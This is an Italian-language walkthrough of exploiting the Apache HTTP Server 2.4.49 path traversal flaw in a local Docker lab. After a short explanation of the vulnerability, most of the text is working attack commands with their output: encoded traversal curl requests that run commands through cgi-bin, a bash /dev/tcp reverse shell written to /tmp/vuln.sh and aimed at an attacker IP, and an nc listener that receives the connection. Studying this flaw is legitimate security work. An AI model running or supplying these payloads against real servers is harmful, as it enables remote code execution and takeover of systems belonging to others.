
È stato trovato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file esterni alle directory configurate da direttive simili ad Alias.
Se i file esterni a queste directory non sono protetti dalla normale configurazione predefinita "require all denied", queste richieste possono avere successo. Se gli script CGI sono anche abilitati per questi percorsi alias, ciò potrebbe consentire l'esecuzione remota di codice.
Questo problema è noto per essere sfruttato in ambiente reale.
Questo problema riguarda solo Apache 2.4.49 e non le versioni precedenti.
Un attacco di path traversal (noto anche come directory traversal) mira ad accedere a file e directory che si trovano al di fuori della cartella root del web. Manipolando le variabili che fanno riferimento a file con sequenze "dot-dot-slash (../)" e le loro variazioni o utilizzando percorsi assoluti, potrebbe essere possibile accedere a file e directory arbitrari sul file system, incluso il codice sorgente dell'applicazione o la configurazione e file di sistema critici. Va notato che l'accesso ai file è limitato dal controllo di accesso operativo del sistema (come nel caso di file bloccati o in uso sul sistema operativo Microsoft Windows).
Questo attacco è anche noto come "dot-dot-slash", "directory traversal", "directory climbing" e "backtracking".
$ docker-compose build
$ docker-compose up
Conferma che funziona
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Vittima : localhost:1234
Attaccante : 192.168.1.12
Secondo la documentazione, questo è un difetto che ci consente di eseguire codice da remoto (RCE).
Possiamo sfruttarlo eseguendo una curl con la cartella cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Vediamo se abbiamo effettivamente accesso ai comandi, ad esempio id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Testeremo una reverse shell creando un file bash sul server della vittima.
Prendiamo come esempio la reverse shell in bash trovata nel repo PayloadsAllTheThings.
Ecco un esempio :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Creiamo il file vuln.sh sulla macchina della vittima nella cartella /tmp/ !
Questo file conterrà la nostra reverse shell che possiamo eseguire da remoto. Si connetterà alla nostra macchina locale sulla porta 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Puoi controllare il contenuto del file con il comando cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener con ncat
Creiamo il listener sulla macchina locale.
$ nc -lvnp 44
Non resta che eseguire il file remoto.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Risposta :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.